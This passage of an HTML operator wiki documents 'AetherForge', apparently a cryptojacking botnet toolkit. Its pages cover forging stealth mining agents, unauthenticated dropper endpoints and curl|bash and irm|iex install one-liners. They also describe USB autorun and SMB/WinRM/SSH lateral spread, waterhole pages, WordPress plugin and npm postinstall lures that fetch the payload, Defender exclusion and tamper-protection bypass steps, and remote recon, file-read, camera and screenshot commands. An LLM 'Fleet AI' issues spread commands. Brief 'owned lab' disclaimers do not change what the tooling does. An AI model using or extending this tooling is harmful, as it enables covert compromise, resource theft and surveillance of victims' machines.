<!-- 4b. Mission Deck -->
<section id="mission-deck">
<h2>Mission Deck</h2>
<p>
Route <code>/mission-deck</code> — the <strong>fast path</strong> when you already know the rough shape of
the deployment: pick Ghost / Loud / Spread, optionally layer a spread profile, set campaign slug and identity
fields, then <strong>Equip &amp; Strike</strong> once. The page forges the agent, exports a spread-kit ZIP
when the loadout requires it. Copy install one-liners from <strong>Builds</strong> when the run finishes.
</p>
<p>
<strong>When to use which:</strong> Mission Deck = preset loadout + one-click pipeline. Forge
(<code>/forge</code>) = every build option (fusion batches, blueprints, stealth tuning). Emberwake
(<code>/emberwake</code>) = tag links, export lure kits, and read campaign funnels — forge the agent on Mission
Deck or Forge first. Builds (<code>/builds</code>) = download artifacts, pin the dropper, and copy pinned
one-liners anytime.
</p>
<h3>Automated pipeline (3 steps)</h3>
<ol>
<li><strong>Apply loadout presets</strong> — operation chip + spread profile + worker, server URL, wallet</li>
<li><strong>Build agent installer</strong><code>POST /api/v1/builder/build</code> with presets applied</li>
<li><strong>Package spread-kit ZIP</strong><code>POST /api/v1/builder/spread-kit-export</code> when spread profile demands it; then open <strong>Builds</strong> for install one-liners</li>
</ol>
<h3>Operation chips</h3>
<table class="wiki-table">
<thead><tr><th>Chip</th><th>Maps to</th><th>Use when</th></tr></thead>
<tbody>
<tr><td>Ghost</td><td>Ghost Walk</td><td>Stealth home-lab worker, no spread</td></tr>
<tr><td>Loud</td><td>Open Flame</td><td>Debugging — visible logs</td></tr>
<tr><td>Spread</td><td>Wildfire + spread profile</td><td>USB/LAN propagation wave</td></tr>
</tbody>
</table>
<h3>Spread profile chips</h3>
<ul>
<li><strong>Web Drop</strong> — dropper + install scripts (default campaign slug)</li>
<li><strong>Desktop Fusion</strong> — prep or movie fusion packaging</li>
<li><strong>LAN Kindling</strong> — SMB / SSH lateral spread flags</li>
<li><strong>Crucible Ops</strong><code>remote_aggressive</code> for dashboard tunnels and firewall suite</li>
</ul>
<p>Presence avatars (“Also Here”) show other logged-in operators on the same page via WebSocket presence.</p>
</section>
<!-- 4c. Build Manager -->
<section id="build-manager">
<h2>Build Manager</h2>
<p>
Route <code>/builds</code> — operational inventory for every forged artifact. The Builder creates; Build
Manager tracks what is pinned, public, and ready for dropper one-liners.
</p>
<h3>Per-build actions</h3>
<table class="wiki-table">
<thead><tr><th>Action</th><th>API / behaviour</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Download exe / ZIP</td><td><code>GET /api/v1/builds/{id}/download</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Download artifact</td><td><code>GET /api/v1/builds/{id}/artifact/{name}</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Uninstall script</td><td><code>GET /api/v1/builds/{id}/uninstall</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Pin build</td><td><code>PUT /api/v1/builds/{id}/pin</code> — dropper serves pinned binary</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Public toggle</td><td><code>PUT /api/v1/builds/{id}/public</code> — login drawer + public API</td><td><span class="wiki-status working">Working</span> (wired 2026-06-06)</td></tr>
<tr><td>Re-forge</td><td>Pre-fills Forge form; confirmation required</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Delete record</td><td><code>DELETE /api/v1/builds/{id}</code> — DB only; archive file may remain</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>LAN QR</td><td>Encodes worker download URL for mobile scan</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<h3>Dropper behaviour</h3>
<ul>
<li><strong>Pinned:</strong> <code>/get</code>, <code>/install.ps1</code>, <code>/install.sh</code> always serve the pinned build</li>
<li><strong>Unpinned:</strong> most recently forged build wins</li>
<li><strong>Public builds:</strong> <code>GET /api/v1/public/builds</code> lists pinned + public-flagged + latest 3 (or all when <code>public_builds_enabled</code>)</li>
</ul>
<pre><code>iex (irm 'http://YOUR-DECK:8989/install.ps1')
curl -sL http://YOUR-DECK:8989/install.sh | bash
http://YOUR-DECK:8989/get?pin={build_id}&amp;c=campaign-slug</code></pre>
</section>
<!-- 5. Emberwake & Campaigns -->
<section id="spread-campaigns">
<h2>Emberwake &amp; Campaigns</h2>
<p>
AetherForge supports multiple distribution vectors: USB perpetual propagation, LAN lateral movement (SMB /
WinRM on Windows, SSH on Linux/macOS), waterhole dropper pages, and one-liner install scripts. Campaign
attribution uses <code>?c=slug</code> on dropper and public download URLs; agents report
<code>AETHER_CAMPAIGN</code> on connect.
</p>
<p>
Modern browsers block silent drive-by execution — users must click download and run. AetherForge maps to
authorized lab patterns: first-party install docs, spread-kit landers, fusion bundles, and email→lander→pinned
build chains. Step-by-step playbooks: <a href="SPREAD_TECHNIQUES.html">Spread Techniques</a>
(tabbed) · research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
Operator UI: <a href="/emberwake">Emberwake</a>.
</p>
<h3>Dropper endpoints (unauthenticated)</h3>
<table class="wiki-table">
<thead><tr><th>Endpoint</th><th>Purpose</th></tr></thead>
<tbody>
<tr><td><code>GET /get</code></td><td>Platform-detect download; <code>?pin={build_id}</code>, <code>?c={campaign}</code></td></tr>
<tr><td><code>GET /install.sh</code></td><td>Linux/macOS curl|bash one-liner target</td></tr>
<tr><td><code>GET /install.ps1</code></td><td>Windows <code>irm|iex</code> one-liner</td></tr>
<tr><td><code>GET /install.command</code></td><td>macOS launcher script</td></tr>
<tr><td><code>GET /api/v1/public/download/{id}</code></td><td>Public build artifact + campaign logging</td></tr>
</tbody>
</table>
<h3>USB perpetual propagation</h3>
<p>Enable <strong>USB Propagation</strong> at forge time. Within 8 seconds of USB insert:</p>
<ol>
<li>Drop agent into hidden folder (<code>~RECYCLER</code>, <code>System Volume Information</code>, etc.)</li>
<li>Write <code>autorun.inf</code>, folder-icon LNK, and <code>SETUP.BAT</code> fallback</li>
<li>Create decoy folder (Documents / Photos)</li>
<li>Install WMI event subscription for future USB mounts</li>
</ol>
<h3>LAN spread</h3>
<ul>
<li><strong>Share Spread</strong> — copy to mounted network shares + WinRM lateral install (Windows)</li>
<li><strong>LAN Auto-Spread</strong> — SMB <code>admin$</code> / SSH lateral movement (gated behind C2 auth)</li>
<li>ARP-first subnet scan via <code>deploy/subnet.go</code> — IPv6 /64 + IPv4 /24</li>
</ul>
<h3>Emberwake / waterhole kit</h3>
<ul>
<li>Campaign War Room funnel board: <code>GET /api/v1/emberwake/war-room?days=7</code> — hits, downloads, first_beacon, mining, hashrate per <code>?c=</code> slug; Emberwake funnel cards + stats table; live WS tick every 30s (<code>emberwake_war_room</code>)</li>
<li>Legacy hit totals: <code>GET /api/v1/emberwake/campaigns</code></li>
<li>Spread-kit web export: <code>POST /api/v1/builder/spread-kit-export</code> (auth)</li>
<li>WordPress plugin ZIP: <code>POST /api/v1/builder/wordpress-plugin-export</code> (auth)</li>
<li>npm helper ZIP: <code>POST /api/v1/builder/npm-helper-export</code> (auth)</li>
<li>Public builds: pinned + public-flagged + latest N (or all when <code>public_builds_enabled</code>)</li>
<li>Login page drawer: <code>GET /api/v1/public/builds</code> — no credentials required</li>
</ul>
<h3>Example one-liners</h3>
<pre><code># Linux server
curl -sL https://your.site/install.sh | bash
# Windows Server
irm https://your.site/install.ps1 | iex
# Pinned build + campaign
https://your.site/get?pin={build_id}&amp;c=docs</code></pre>
</section>
<!-- 5b. WordPress plugin supply chain -->
<section id="wordpress-plugin-supply-chain">
<h2>WordPress plugin supply chain (owned site)</h2>
<p>
Export a ready-to-upload plugin ZIP from <strong>Emberwake → Supply-chain export wizard</strong> (or quick export).
Templates live in <code>templates/wordpress-plugin/</code>. The plugin is hosted on a WordPress installation
<em>you operate</em> — it is <strong>not</strong> submitted to wordpress.org or any third-party plugin directory.
</p>
<h3>High-level flow</h3>
<ol>
<li>Forge and pin the build you want for this wave.</li>
<li>Emberwake: set server URL, site name (plugin slug), optional campaign override.</li>
<li>Download ZIP → <strong>Plugins → Add New → Upload Plugin</strong> on your owned WP host.</li>
<li>Activate — admins see an update notice linking to <code>/get?c=wp-{site}</code> on your command deck.</li>
<li>Track connects under Emberwake → Campaign hits (<code>wp-{site}</code> slug).</li>
</ol>
<h3>Nitty-gritty</h3>
<table class="wiki-table">
<thead><tr><th>Field</th><th>Role</th></tr></thead>
<tbody>
<tr><td><code>site_name</code></td><td>Sanitized to plugin slug + default campaign <code>wp-{slug}</code></td></tr>
<tr><td><code>build_id</code></td><td>Optional <code>?pin=</code> on download URL</td></tr>
<tr><td><code>campaign</code></td><td>Optional override; normalized to <code>wp-…</code> prefix</td></tr>
<tr><td><code>server_url</code></td><td>Command-deck base — download hits <code>GET /get</code></td></tr>
</tbody>
</table>
<p>
ZIP layout: <code>{slug}/{slug}.php</code> + <code>readme.txt</code>. The main PHP file defines
<code>AF_HELPER_DOWNLOAD</code>, registers an admin notice, and adds a Tools page documenting the operator-owned model.
End users still confirm off-site downloads — WordPress does not silently sideload binaries from your server.
</p>
<pre><code>POST /api/v1/builder/wordpress-plugin-export
{
"build_id": "uuid-from-forge",
"server_url": "https://deck.example:8989",
"site_name": "my-blog",
"campaign": "wp-my-blog"
}</code></pre>
<p>
Pair with the static spread kit (<a href="/spread/">/spread/</a>) when you want a full waterhole page on the same origin;
the plugin path is for update-check / admin-notice distribution on CMS you already control.
</p>
<h3 id="wordpress-hosting-checklist">Hosting checklist</h3>
<ul>
<li>Download ZIP from Emberwake → Supply-chain export wizard (step 3) or quick export.</li>
<li>Unzip locally — layout is <code>{slug}/{slug}.php</code> + <code>readme.txt</code>.</li>
<li>WordPress Admin → <strong>Plugins → Add New → Upload Plugin</strong> → choose the ZIP.</li>
<li><strong>Install Now</strong><strong>Activate</strong> on your owned host (not wordpress.org).</li>
<li>Log in as admin — confirm the notice links to <code>/get?c=wp-{site}</code> on your command deck.</li>
<li>Optionally open <strong>Tools → {site}</strong> to verify campaign slug and download URL.</li>
<li>Track funnel under Emberwake → Campaign War Room (<code>wp-{site}</code> slug).</li>
</ul>
</section>
<!-- 5c. npm postinstall helper -->
<section id="npm-postinstall-helper">
<h2>npm postinstall helper (your packages only)</h2>
<p>
Export a private npm package skeleton from <strong>Emberwake → Export npm package template ZIP</strong>.
Templates live in <code>templates/npm-helper-package/</code>. The <code>postinstall</code> script curls your
command-deck <code>install.sh</code> with <code>AETHER_CAMPAIGN</code> set — for registries and projects
<em>you</em> publish and authorize.
</p>
<h3>High-level flow</h3>
<ol>
<li>Emberwake: set server URL, campaign slug, optional pinned build.</li>
<li>Unzip → adjust <code>package.json</code> name if needed.</li>
<li>Publish to a registry you control (private npm, Verdaccio, GitHub Packages).</li>
<li>Add as dependency only in authorized CI/dev environments.</li>
<li><code>npm install</code> runs postinstall → <code>install.sh?c=…&amp;pin=…</code> → agent checks in.</li>
</ol>
<h3>Nitty-gritty</h3>
<ul>
<li><code>scripts/postinstall.cjs</code> — Unix uses <code>curl | bash</code>; Windows uses <code>irm | iex</code>.</li>
<li>Default package name: <code>@aetherforge/{campaign}-helper</code> (scoped, private flag in template).</li>
<li>API: <code>POST /api/v1/builder/npm-helper-export</code> with <code>build_id</code>, <code>server_url</code>, <code>campaign</code>.</li>
</ul>
<p>
<strong>Out of scope:</strong> typosquatting public npm packages or hijacking third-party dependency chains.
This template is for purple-team / lab pipelines where you own the registry and the machines that run <code>npm install</code>.
</p>
<pre><code>POST /api/v1/builder/npm-helper-export
{
"build_id": "uuid-from-forge",
"server_url": "https://deck.example:8989",
"campaign": "ci-bootstrap"
}</code></pre>
<h3 id="npm-hosting-checklist">Hosting checklist</h3>
<ul>
<li>Download ZIP from Emberwake → Supply-chain export wizard (step 3) or quick export.</li>
<li>Unzip — verify <code>package.json</code> name (<code>@aetherforge/{campaign}-helper</code>) and <code>scripts/postinstall.cjs</code>.</li>
<li>Adjust scope/name if your private registry requires a different namespace.</li>
<li><code>npm publish --access restricted</code> (or equivalent) to a registry <em>you</em> operate.</li>
<li>Add the package as a dependency only in authorized CI/dev repos.</li>
<li>Run <code>npm install</code> in a test environment — confirm postinstall curls <code>install.sh?c=…&amp;pin=…</code>.</li>
<li>Track campaign slug in Emberwake → Campaign War Room after first agent beacon.</li>
</ul>
</section>
<!-- 6. Agent -->
<section id="agent">
<h2>Agent — Windows / Linux / macOS</h2>
<p>
The worker agent is compiled on demand from <code>agent/</code>. It connects via WebSocket
<code>/ws/agent</code> using a fleet-secret <code>auth</code> frame, falls back to HTTPS beacon after
configurable minutes if WebSocket is down, and mines silently with no visible CMD windows.
</p>
<p>
All child processes use <code>CREATE_NO_WINDOW</code> / detached flags. The only user-visible event on first
launch is typically a single UAC prompt (Windows) for persistence and firewall rules.
</p>
<p>Full cross-platform matrix: <a href="#platform-matrix">Platform Matrix</a>.</p>
<h3>Staged modules (runtime feature packs)</h3>
<p>
Thin agents can enable forge flags at runtime without re-forging. The server stores signed JSON manifests in
<code>data/modules/</code>. Default packs:
</p>
<ul>
<li><strong>Crucible Ops</strong> (<code>crucible_ops</code>) — <code>remote_aggressive</code> for dashboard tunnels, scans, firewall, defender bypass</li>
<li><strong>Spread Pack</strong> (<code>spread</code>) — <code>auto_spread</code> + <code>usb_spread</code> for lateral and passive propagation</li>
<li><strong>GPU Miner</strong> (<code>gpu</code>) — <code>gpu_enabled</code> for KawPoW RVN when wallet and hardware are present</li>
</ul>
<p>
Each manifest includes <code>display_name</code>, <code>summary</code>, <code>description</code>,
<code>capabilities</code> (human-readable list for the dashboard preview), and <code>features</code> (agent
flags). Forge operation modes (PathForge, Spread Kit, Crucible Storm, etc.) stay intact — packs are runtime
add-ons, not replacements.
</p>
<p>
<strong>UI flow:</strong> Calibrate → <strong>Staged Modules</strong> → pick a pack card → choose target
(all online or fleet group) → review preview → <em>Push Crucible Ops to Group X</em>. The server queues
<code>fetch_module</code>; the worker downloads
<code>GET /api/v1/agent/module/&#123;name&#125;</code> with <code>X-Fleet-Secret</code>, verifies HMAC, applies
flags in memory, and emits <code>capabilities_update</code>. The dashboard shows a success toast when agents
report updated capabilities.
</p>
<h3>Fleet policy (server push)</h3>
<p>
Calibrate → <strong>Fleet Policy</strong> pushes <code>policy_update</code> over WebSocket (or HTTPS beacon
when WS is down): <code>mining_mode</code>, <code>schedule_start</code>/<code>schedule_end</code>,
<code>max_cpu_usage_pct</code>, and optional pool host/port overrides. The miner schedule guard and CPU cap
update without restart; pool overrides apply to Stratum fallback and local resource guards.
</p>
<h3>Remote commands (sample)</h3>
<ul>
<li>Runtime: <code>fetch_module</code> (stage signed pack from server)</li>
<li>Mining: <code>pause</code>, <code>resume</code>, <code>restart</code></li>
<li>Recon: <code>sysinfo</code>, <code>ps</code>, <code>netstat</code>, <code>listen_ports</code>, <code>posture</code></li>
<li>Network: <code>connectivity_probe</code>, <code>firewall_*</code>, <code>smb_shares</code>, <code>spread_status</code></li>
<li>Files: <code>list_dir</code>, <code>read_file</code> (512 KB cap), upload/download</li>
<li>Tunnels: <code>tunnel_cloudflared</code>, <code>tunnel_ssh_forward</code>, <code>tunnel_status</code>, <code>tunnel_stop</code></li>
</ul>
<h3>Agent logs</h3>
<ul>
<li>Server cache: <code>data/logs/{agent-id}.log</code></li>
<li>On worker: <code>%LOCALAPPDATA%/{install-dir}/miner.log</code> (when <code>file_logging</code> enabled)</li>
<li>API: <code>GET /api/v1/agents/{id}/log?refresh=1</code> (90s long-poll timeout)</li>
</ul>
</section>
<!-- 7. Mining -->
<section id="mining">
<h2>Mining — XMR, RVN/GPU, Pools</h2>
<p>
CPU mining uses RandomX via pure-Go <code>go-randomx</code> (BSD-3-Clause). Workers submit shares through
the server's Stratum proxy — one upstream connection per wallet/host with <code>PaymentID</code> in the pool
key to avoid integrated-address collisions. If C2 is unreachable for &gt;30s, agents mine directly to the
pool and return to proxy when reconnected.
</p>
<p>
GPU mining (Windows only) auto-detects vendor at runtime: NVIDIA uses T-Rex (CUDA), AMD uses TeamRedMiner
(OpenCL), both on KawPoW for Ravencoin. Local HTTP API polling reports 15s/1m/15m hashrate, temperature,
fan speed, and power draw.
</p>
<h3>Pool configuration</h3>
<p>Set primary pool and wallet in <strong>Calibrate</strong>. Forge bakes these into the agent. Advanced forge
supports <strong>backup pools</strong> as a fallback Stratum list.</p>
<h3>Hashrate reporting</h3>
<ul>
<li>15s / 1m / 15m rolling averages over WebSocket</li>
<li>Separate CPU (XMR) and GPU (RVN) channels on dashboard</li>
<li>Earnings estimator: <code>GET /api/v1/earnings/estimate</code> + SupportXMR live data</li>
<li>XMR spot price: <code>GET /api/v1/market/xmr</code> (CoinGecko, 10 min cache)</li>
</ul>
<h3>GPU vendor table</h3>
<table class="wiki-table">
<thead><tr><th>Vendor</th><th>Miner</th><th>Algorithm</th></tr></thead>
<tbody>
<tr><td>NVIDIA (CUDA)</td><td>T-Rex</td><td>KawPoW (RVN)</td></tr>
<tr><td>AMD (OpenCL)</td><td>TeamRedMiner</td><td>KawPoW (RVN)</td></tr>
</tbody>
</table>
<h3>Tier 0 mining validation (no C2)</h3>
<pre><code>cd agent
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
</section>
<section id="av-safe">
<h2>AV-Safe Mining — Default Strategy</h2>
<p>
New forges default to <strong>in-process RandomX</strong> (<code>miner_execution=inprocess</code>).
The agent hashes Monero inside the Go binary via <code>go-randomx</code> — no XMRig, no child
<code>.exe</code> download. Use the Forge <strong>AV-Safe</strong> operation chip or preset for
CPU-only fleets: GPU off, no process hollowing, no spread kit, no garble.
</p>
<h3>Why turning Defender "off" often does nothing</h3>
<ul>
<li><strong>Real-time protection</strong> (RTP) — what the GUI toggle usually disables; can be re-enabled by Tamper Protection or Group Policy.</li>
<li><strong>Tamper Protection</strong> — blocks <code>Set-MpPreference</code>, registry disables, and agent <code>SilentAVExclusion</code> without admin + temporary tamper off.</li>
<li><strong>Cloud-delivered protection</strong> — uploads unknown binaries; garbled/obfuscated agents score higher.</li>
<li><strong>Controlled folder access</strong> — blocks writes to Documents/Desktop even when RTP is "off".</li>
<li><strong>Behavioral / AMSI</strong> — PowerShell exclusions, hollow/spread installers, and GPU miner spawns trigger alerts independent of RTP.</li>
<li><strong>Third-party AV</strong> — McAfee, Norton, etc. ignore Windows Security UI entirely.</li>
</ul>
<h3>Windows operator checklist</h3>
<ol>
<li>Forge with <strong>AV-Safe</strong> or <strong>Miner Execution → In-process RandomX</strong>.</li>
<li>Calibrate → <strong>Windows Defender Exclusions</strong> → copy/download <code>.ps1</code> → run elevated on each worker.</li>
<li>Windows Security → Virus &amp; threat protection → Manage settings → turn off <strong>Tamper Protection</strong> briefly while applying exclusions.</li>
<li>Add path exclusion for install dir (default under <code>%LOCALAPPDATA%\CryptoMiner\</code>) and process exclusion for forged <code>.exe</code> name.</li>
<li>Disable or allowlist <strong>Controlled folder access</strong> if the agent cannot write its install tree.</li>
<li>Crucible → <strong>Mining Diagnostics</strong> on a stuck agent — JSON lists pause state, job delivery, Defender RTP, GPU subprocess status.</li>
<li>For GPU (RVN): expect T-Rex/TRM downloads to be quarantined — use dedicated mining rigs without consumer AV or pre-stage binaries with vendor allowlists.</li>
</ol>
<h3>Honest limits</h3>
<p>
No architecture is 100% invisible to modern AV. The lowest-friction legitimate stack is:
<strong>in-process CPU mining + manual Defender exclusions + dedicated hardware for GPU</strong>.
Container mode and remote <code>defender_off</code> are optional layers, not guarantees.
</p>
</section>
<section id="container-mining">
<h2>Container Mining — Optional Isolation</h2>
<p>
Forge can bake <code>miner_execution=auto</code> or <code>container</code>. On agent start the supervisor
probes for <code>docker</code> or <code>podman</code> in PATH. When a runtime is available, CPU RandomX
can run inside an OCI container; the host agent keeps the C2 WebSocket and remote commands. If no runtime
is installed or <code>docker run</code> fails, the agent falls back to <strong>in-process</strong>
pure-Go RandomX (no external CPU miner binary).
</p>
<h3>Honest AV expectations</h3>
<ul>
<li>Containers are <strong>not</strong> invisible to antivirus — <code>docker.exe</code>, image layers, and pulls are still observable.</li>
<li>Primary benefit: <strong>legitimate process isolation</strong> — mining workload separate from the host agent; fewer blocked subprocess spawns for GPU (T-Rex / TeamRedMiner).</li>
<li>In-process RandomX already avoids a separate CPU miner <code>.exe</code>; container mode helps when the <em>agent binary itself</em> is quarantined or GPU miners are deleted on spawn.</li>
</ul>
<h3>Forge options</h3>
<table class="wiki-table">
<thead><tr><th>Value</th><th>Behavior</th></tr></thead>
<tbody>
<tr><td><code>inprocess</code></td><td><strong>Default.</strong> Pure-Go RandomX inside the agent process — lowest AV friction for CPU</td></tr>
<tr><td><code>auto</code></td><td>Container if Docker/Podman detected; else in-process</td></tr>
<tr><td><code>container</code></td><td>Always attempt OCI launch; fall back to in-process on failure</td></tr>
<tr><td><code>subprocess</code></td><td>GPU KawPoW only — T-Rex/TRM external binaries on Windows</td></tr>
</tbody>
</table>
<h3>Operator setup</h3>
<ol>
<li><strong>Windows:</strong> Install <a href="https://docs.docker.com/desktop/setup/install/windows-install/">Docker Desktop</a>; ensure <code>docker version</code> works in the same user context as the agent.</li>
<li><strong>Linux:</strong> <code>sudo apt install docker.io</code> (or Podman); add the agent user to the <code>docker</code> group or use rootless Podman.</li>
<li>Build the worker image: <code>docker build -f docker/Dockerfile.agent -t aetherforge/agent-worker:latest .</code></li>
<li>Optional: set <code>AETHERFORGE_MINER_IMAGE</code> on the host to a private registry tag.</li>
<li>Re-forge with <strong>Miner Execution → Auto</strong> (or Container) in the Calibrate / Forge deck.</li>
</ol>
<h3>Architecture</h3>
<pre>
┌──────────────── Host (agent.exe) ────────────────┐
│ WebSocket C2 · commands · stats · GPU supervisor │
│ │ docker run │
│ ▼ │
│ ┌──────────── OCI container ────────────┐ │
│ │ agent-worker · RandomX · Stratum/C2 │ │
│ └───────────────────────────────────────┘ │
└──────────────────────────────────────────────────┘
</pre>
<h3>Mining fallback chain</h3>
<p>
The agent runs a unified cascade on start, on remote <code>resume</code>, and whenever the active method fails.
Order (when <code>miner_execution=auto</code> and Docker/Podman is present):
<strong>container → in-process RandomX → GPU subprocess (parallel RVN) → direct Stratum overlay</strong>.
Each failure is logged and sent to the dashboard as <code>mining_fallback</code>; live stats include
<code>active_method</code>, <code>failed_methods[]</code>, and <code>last_error</code>.
Full chain re-passes wait 30 seconds (cooldown). GPU RVN runs <em>in parallel</em> once CPU primary is up —
it does not replace RandomX. Stratum direct overlays in-process workers when C2 is offline or jobless.
</p>
<p>
When the container exits, the chain advances to in-process automatically.
Server auto-<code>resume</code> on connect still applies; container mode pauses host workers while the
container is healthy.
</p>
</section>
<!-- 7b. Platform Matrix -->
<section id="platform-matrix">
<h2>Platform Matrix</h2>
<p>Accurate feature parity across worker OS targets. Status labels match code audit (<code>PROBLEMS.md</code>).</p>
<table class="wiki-table">
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th><th>macOS</th></tr></thead>
<tbody>
<tr><td>RandomX CPU mining</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>GPU RVN (T-Rex / TRM)</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span> — detects GPU, downloads Win .exe</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>Idle schedule guard</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span> — /proc/stat</td><td><span class="wiki-status working">Working</span> — sysctl</td></tr>
<tr><td>Screenshot</td><td><span class="wiki-status working">Working</span> GDI+</td><td><span class="wiki-status working">Working</span> scrot/import</td><td><span class="wiki-status working">Working</span> screencapture</td></tr>
<tr><td>Camera</td><td><span class="wiki-status working">Working</span> ffmpeg</td><td><span class="wiki-status working">Working</span> V4L2</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>File browser (Crucible)</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>USB / WMI spread</td><td><span class="wiki-status working">Working</span></td><td></td><td></td></tr>
<tr><td>SMB / WinRM spread</td><td><span class="wiki-status working">Working</span></td><td></td><td></td></tr>
<tr><td>SSH lateral spread</td><td></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Firewall aggressive ops</td><td><span class="wiki-status working">Working</span> netsh</td><td><span class="wiki-status working">Working</span> ufw/iptables</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>KEV exposure scan</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">n/a</span></td><td><span class="wiki-status stub">n/a</span></td></tr>
<tr><td>Path Tracer <code>wg_setup</code></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span></td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>Mesh P2P (<code>mesh_status</code>)</td><td><span class="wiki-status partial">Needs -tags p2p</span></td><td>same</td><td>same</td></tr>
<tr><td>Persistence</td><td>Task + registry</td><td>systemd user</td><td>LaunchAgent</td></tr>
<tr><td>Install base</td><td>%LOCALAPPDATA%</td><td>XDG data home</td><td>~/Library/Application Support</td></tr>
<tr><td>HTTPS beacon fallback</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Docker E2E agent</td><td></td><td><span class="wiki-status working">Working</span> — see <code>docker/README.md</code></td><td></td></tr>
<tr><td>Android APK fleet node</td><td></td><td></td><td><span class="wiki-status working">Working</span> — embed linux/arm64 agent; <code>platform=android</code>; see <code>android/README.md</code></td></tr>
</tbody>
</table>
<h3>Control server (operator PC)</h3>
<table class="wiki-table">
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th></tr></thead>
<tbody>
<tr><td>Forge / compile agents</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span> — cross-compile</td></tr>
<tr><td>cloudflared auto-launch</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span> — manual tunnel</td></tr>
<tr><td>Authenticode signing</td><td><span class="wiki-status working">Working</span> signtool</td><td><span class="wiki-status working">Working</span> osslsigncode</td></tr>
</tbody>
</table>
</section>
<!-- 8. Alerts & AI -->
<section id="alerts-ai">
<h2>Alerts &amp; AI</h2>
<p>
Fleet notifications are configured under <strong>Calibrate → Alert Notifications</strong>. Telegram bot token
and chat ID (your user ID from @userinfobot, not the bot's) drive per-event pushes. Optional SMTP email uses
the same event matrix. Use <strong>Send test notification</strong> after save to verify delivery.
</p>
<h3>Alert events</h3>
<table class="wiki-table">
<thead><tr><th>Event</th><th>Trigger</th></tr></thead>
<tbody>
<tr><td>New agent connects</td><td>First fleet join</td></tr>
<tr><td>Agent reconnects</td><td>Back online or session replace</td></tr>
<tr><td>Agent offline</td><td>Past offline-after minutes threshold</td></tr>
<tr><td>Hashrate drop</td><td>Below hashrate drop % vs baseline</td></tr>
<tr><td>Rejection spike</td><td>Bad shares above rejection rate %</td></tr>
<tr><td>Forge complete</td><td>Any successful build</td></tr>
<tr><td>KEV exposure</td><td>Critical indicators from Full Sys Check (optional)</td></tr>
</tbody>
</table>
<h3>Fleet AI Control (Calibrate)</h3>
<p>
<strong>Calibration Control</strong> toggles <code>server.ai_control_enabled</code>. When on, the server
Fleet AI scheduler polls connected agents on <code>ai_decision_interval_sec</code> (default 60s), calls a local
OpenAI-compatible endpoint (<code>ai_endpoint</code>, default <code>http://127.0.0.1:11434/v1</code>),
parses <code>commands[]</code>, and dispatches fleet actions (<code>restart_mining</code>,
<code>discover_and_join</code>, <code>spread_now</code>, etc.). Decisions surface on LOTL Timeline.
Audit: <code>GET /api/v1/ai/decisions?agent_id=</code>.
</p>
<p><strong>Precedence:</strong> when AI Control is on, it <em>replaces</em> adaptive strategy for tier-order
decisions. Phenotype inherit still wins on auth when a sibling fingerprint match exists.</p>
<h3>AI personas</h3>
<table class="wiki-table">
<thead><tr><th>Persona</th><th>Behavior</th></tr></thead>
<tbody>
<tr><td><strong>balanced</strong></td><td>Default mission behavior</td></tr>
<tr><td><strong>aggressive</strong></td><td>Maximize spread + mine; fast tier retries</td></tr>
<tr><td><strong>silent</strong></td><td>Mine quietly; minimal spread noise</td></tr>
<tr><td><strong>passive</strong></td><td>Observe; defer disruptive actions</td></tr>
<tr><td><strong>persuasive</strong></td><td>Spread-first; defer mining escalation</td></tr>
</tbody>
</table>
<h3>Adaptive strategy</h3>
<p>
Separate from Fleet AI: the adaptive engine (<code>server/internal/strategy/</code>) learns mining tier order
from your fleet stats only. Pushes <code>adaptive_strategy</code> on auth with
<code>strategy_reasoning[]</code> bullets. Crucible Access Depth → Strategy tab shows the trace.
Disable via <code>server.adaptive_strategy_enabled</code>. Manual refresh:
<code>POST /api/v1/strategy/recompute</code>.
</p>
<h3>Per-agent Ollama autonomy (Forge)</h3>
<p>
Optional forge flag bakes <strong>AI Autonomy</strong> into workers. Ollama runs on the <strong>control server
PC</strong> (default <code>http://localhost:11434</code>), not on workers. The worker calls C2
<code>/api/v1/agent/decide</code> → server queries Ollama → tool calls execute on the agent (adjust threads,
self-heal, persistence checks). Best combined with self-healing watchdog. Re-forge after changing.
</p>
<pre><code>ollama pull llama3.2
# Forge: enable AI Autonomy, set model name (e.g. llama3.2), confirm endpoint</code></pre>
<div class="wiki-callout warn">
Never paste bot tokens in chat or commit them. Store only in <code>data/config.json</code> (gitignored).
</div>
</section>
<!-- 8b. Calibrate -->
<section id="calibrate">
<h2>Calibrate</h2>
<p>
Route <code>/settings</code> — server-side defaults and fleet policy. Changes here affect <strong>new</strong>
Forge forms and live server behaviour; already-forged agents keep baked settings until re-forged (except
fleet policy push and staged modules).
</p>
<h3>Core server</h3>
<table class="wiki-table">
